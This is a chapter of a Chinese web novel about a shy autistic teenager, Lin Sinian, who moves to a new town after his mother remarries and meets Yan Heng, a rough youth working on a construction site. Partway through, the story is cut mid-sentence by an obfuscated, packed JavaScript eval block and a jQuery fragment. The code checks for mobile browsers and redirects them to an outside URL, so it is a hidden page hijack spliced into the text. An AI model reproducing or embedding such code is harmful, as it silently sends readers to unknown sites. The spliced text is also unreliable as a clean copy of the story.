2020年7月17日，星期五，晴。
随母亲改嫁来到垂城的第一天晚上，林斯年在陌生的卧室里，坐在书桌前，提笔在日记本上写下第一行。
他刚洗完澡，头发吹了半干，额前的发挡住漆黑发亮的眼睛，透着一股执拗和认真的劲儿。
林婉清能嫁给林斯年的亲生父亲，完全是父母之命，所以婚后，两人势同水火。
尽管如此，如果不是那个男人因为赌钱，要把林斯年卖了还赌债，被她发现，听话了一辈子的林婉清从来没想过要离婚。
林斯年八岁的时候，他们一拍两散。
林斯年十六岁的时候，林婉清结识了出差的陆安书。那个温文尔雅的叔叔见他第一面，给他转了一万块钱，说你妈妈一个女人不容易。
两人关系火速发展。
直到一个星期之前，林婉清和陆安书去民政局领了结婚证。林婉清给他办理了转学手续，举家搬来垂城。这一年，林斯年十七岁。
新家在一片老旧的居民区里，带着小县城独有的破败和混乱。但是家里面布置却很温馨，陆安书一个鳏夫带着独女，把家打理得井井有条。
林婉清带着林斯年进家门的时候，陆安书抱着一大束花，他把花放到林婉清手里，得来一个大大的拥抱。
林婉清和陆绾绾已经有过接触了，唯一陌生的就是两个小辈，于是陆安书看向林斯年，向陆绾绾介绍：“他叫林斯年，以后他就是你的亲弟弟了。”
在林婉清忐忑的目光中，陆绾绾笑着点头表示知道了。
她走到林斯年的面前，把一个中盒的乐高展示出来：“我叫陆绾绾，绾作同心结的绾，不知道你喜欢什么，我就买了男孩子都喜欢的玩具。”
林婉清和陆安书对视一眼，十分欣慰。
彼时，正处于焦点位置的林斯年，使劲压了一下帽檐，才接过陆绾绾手里的礼物。
林婉清推了一下他的肩膀：“快喊人，说谢谢姐姐。”
林斯年抿了一下唇，口罩下的脸上已经冒了一层细密的汗，八月份的天气，下午尤其燥热。
陆安书知道他不喜欢跟人交流的毛病，并不为难他：“没事，两小孩还不熟呢，以后熟了，有的是机会。”
林婉清叹了口气，看向身旁的儿子。
自闭症患者往往伴有高敏感特质，林斯年就是这样的。他小时候确诊轻微自闭，对声音和文字极其敏感，往往见过的、听过的，只一次就能完整复述下来。
所以林婉清一直觉得，她儿子会是天才，怎么都想不通，后来怎么会变成这样，越来越怕见到陌生人。
她多次去求神问佛，据说很灵验的山，她三叩九拜地爬上去过，各种道士神婆也问过，她是真爱林斯年，什么办法都试过，孩子却不见好，她看在眼里疼在心里。
一个母亲望向儿子的眼神，林斯年闭了一下眼睛，又睁开，下午的回忆就定格在那双眼睛里。
他看向窗外，只零星几户人家开着灯，书桌是陌生的，空气里的湿度是陌生的，床是陌生的，周围所有事物都是陌生的。
林斯年提笔把日记补充完整：
我有三个愿望。
第一个愿望是，希望我的母亲因为有了我而由衷地感到幸福；
第二个愿望是，希望我能找到一项我热爱的事情并为此奋斗终生；
第三个愿望是，希望我的人生中永远都有第三个愿望为我托底。
写完最后一个字，林斯年把日记本合上，静坐在窗前，等头发干得差不多了，才把灯关了，抹黑躺到床上。
林斯年第一次见到言珩，是在次日中午，太阳把路面照得亮堂堂的，像是撒了一地的金豆子。这在南方很难得，Z市的夏天从来不会这样干爽，热到有颗粒度。
他被正在做午饭的林婉清喊去买醋，口罩和帽子把脸挡得严严实实的，一进小卖铺的门，风铃叮铃铃地响。
他身上出了一层汗，小卖铺里的风扇开到最高一档，突如其来的冷风吹到身上，先起了一身鸡皮疙瘩，正要向货架走去，一抬头却看到了柜台前的瘦高男生。
个子高的人在现实中会很有冲击感，林斯年就那么愣在原地，站了几秒。
那男生上身是一件白色的老头衫，下身是一条黑色的及膝短裤，身上一团团白灰色的污渍，像干透的水泥。他手里拿着一个装有两个白馒头的塑料袋和一瓶水，刚接完账就要往外走。
两人在店门处交错。
陌生男生向林斯年看过来时，他正眼睛一眨不眨地盯着对方。
年轻的心脏在胸膛里震动。
人对于眼睛能展露的情感尤为敏感，林斯年看着对方的眼睛，就好像，他多出一次的心跳像是对方所遗漏的。
那男生走了之后，林斯年摸了摸口罩，从货架上拿了醋和一瓶可乐，放在柜台上。
老板娘在机子上录了信息，说：“一共二十块八毛钱。”
林斯年慢吞吞掏出手机结账。
老板娘又坐回躺椅上，拿着蒲扇吹风，和旁边几个坐着小板凳的麻友聊天：“刚刚那个，是不是言老头家的？”
“是，挺可怜的，在二中上高中呢，言老头一分钱都不给他拿，这不放暑假了，天天在隔壁工地上打工呢。”
“长得跟言老头可一点不像……”
“你说这个，我倒是想起来他妈妈，长得那叫一个天仙下凡，据说是从外地拐回来的。”
“唉，言老头是真造孽，耍钱喝酒不说，还打老婆，我住他家隔壁，有段时间，天天晚上能听到家里砰砰砰的。”
“别说打老婆，儿子他都打，他刚刚转身出去的时候，没看到他背上那么长一道疤？”
“也是现在长大了，支棱起来了，他在的时候老头都不敢动手，前几天言老头喝了酒，耍酒疯要打他妈，那小子就火了。”
“对对对，我也听说了，听说他直接抄起地上的酒瓶就灌过去了，把老头脑袋都开瓢了，要不是邻居听见动静叫了警察，怕是要流血流死了。”
“儿子打老子，心真硬呀……”
“这种情况，心不硬也不行呀，那小孩中考成绩还挺好的，要不是生在这家庭里，以后说不定能成什么样子呢。”
“不过确实挺狠，还挺吓人，听警察说，老头躺在地上，脑袋开瓢，现场跟爆炸了的西瓜一样，哪哪儿都溅了血。”
“快别说了，我正吃着西瓜呢。”
……
林斯年出了便利店，热浪重新包裹，放在裤子口袋里的手机震动了一下，他拿出来，上面是林婉清的消息。
妈妈：年年，回来的时候记得买个西瓜，天气太热了，这会儿买回来放冰箱里，吃完午饭正好切西瓜吃。
林斯年：“……”
一定要是西瓜吗？
他回了林婉清消息，又走到街道上，那里一遛卖水果的小摊贩，随便找了一个摊，让老板把挑好的西瓜称好，提着两个袋子往家走。
这一片是老城区，很多房子都是分给周围乡镇的福利房，生活气息很浓郁。
隔了一堵墙的地方，就是刚才便利店里他们聊到的工地，本来是一堆烂尾房，不知道哪个老板看中了，出钱继续修。
林斯年回家途中，会路过一个豁口，正好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374877|200045||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能看到那个工地。
小地方的工地上没那么讲究，只有几个人戴着安全帽，很多人嫌热，只穿着一件短裤。
那地方离这里不远，林斯年想起刚刚在便利店里看到的男生，想起那双阴沉的眼睛，姓言，应该和他差不多年纪。
没有过多犹豫，他跨过低矮的砖块，向那边摸索着走过去。
这段路没人走，林斯年走得小心翼翼，他穿过一个倒塌的房屋，快要走到工地时，突然听到了身后有铁链的声音。
下意识扭头看去，他看到一条狗。
那狗脖子上挂着铁链，铁链把脖子上的毛都磨得秃了，毛色是棕黑色的，油光发亮，獠牙在外面裸露着，眼神凶狠，和林斯年对视上，恶狠狠地汪汪汪直叫。
林斯年往后退一步，那狗往前走一步。
他心脏狂跳，咬人和不咬人的狗，他一眼就能看出来，面前这狗，显然是工人们专门养的，防止晚上来偷东西的，没想到被他遇到了，少不了挨一顿咬。
虽然知道见了狗不能跑，越跑狗越兴奋，但是这地方离工地上工人聚集的地方不远，林斯年还是选择了向那边跑去。
“汪汪汪！！”
狗在身后狂追，林斯年在前面提着两个袋子狂奔，他的心脏要跳到嗓子眼，喉咙因为奔跑泛起了充满血腥的胀痛，就在这时，他看到了坐在台阶上的男生。
他脑子里不合时宜地就蹦出几句话。
抄起酒瓶就灌过去……
给老头脑袋开瓢……
爆炸了的西瓜……
林斯年浑身一抖，在暴力狂和疯狗之间，他退缩了，选择直面疯狗。
他转过身，用力深呼吸，平复心跳，跳起来到他胸口的大狗以一个防备姿势趴着，和他对峙。
林斯年全部肌肉都绷紧了，正打算和疯狗鱼死网破，听到后面有人走过来的声音，没有转身，依旧能感觉到有一个充满热度的身体靠近了自己。
而后，是一个人在说话。
“小黑，滚蛋。”声音里充满暴戾。
那狗呜咽一声，看了眼林斯年，走了。
林斯年松懈下来，转过身，声音的主人正双臂环胸看着他。这个年纪的言珩，对世界上所有的事物都本能地充满了强烈的的防备和抗拒。
于是在林斯年眼中，对方的神情那样可怕，比刚才的疯狗还可怕。
他腿一软，一屁股坐在散落的砖块上。
脑袋……开瓢……
林斯年把手里的袋子就那么放在地上，下意识双手抱住了自己的脑袋，用力闭上了眼睛。
紧接着，有什么东西贴在了他的脑袋上。
林斯年慌了：“不要打我，不要给我开瓢，我有西瓜，我给你西瓜……”
言珩：“……”
“哈哈哈哈哈，什么东西，笑死我了，言珩这你同学吗？”
“快点，什么时候把小黑的链子换一下，把人家小孩都吓坏了。”
“小孩来给你送西瓜的吗？来来来，正好问问他要不要吃饭，把西瓜给大家分了。”
周围工人不带恶意的议论传入耳朵，林斯年缓缓睁开了眼睛，和蹲在他面条的男生对视。他把手从脑袋上挪了下来，帽子啪嗒掉在了地上。
调笑声混杂着水泥搅拌机的嗡鸣声，一阵阵的热浪席卷，林斯年心脏狂跳，所有的事物都迅速往后扭曲退去，只有面前的人是真实的。
言珩把他掉落的帽子捡起来，捏着帽檐扣在他的脑袋上。
林斯年想，原来是他刚才跑的时候，不小心把帽子掉了，对方只是给他戴帽子，不是要给他脑袋开瓢。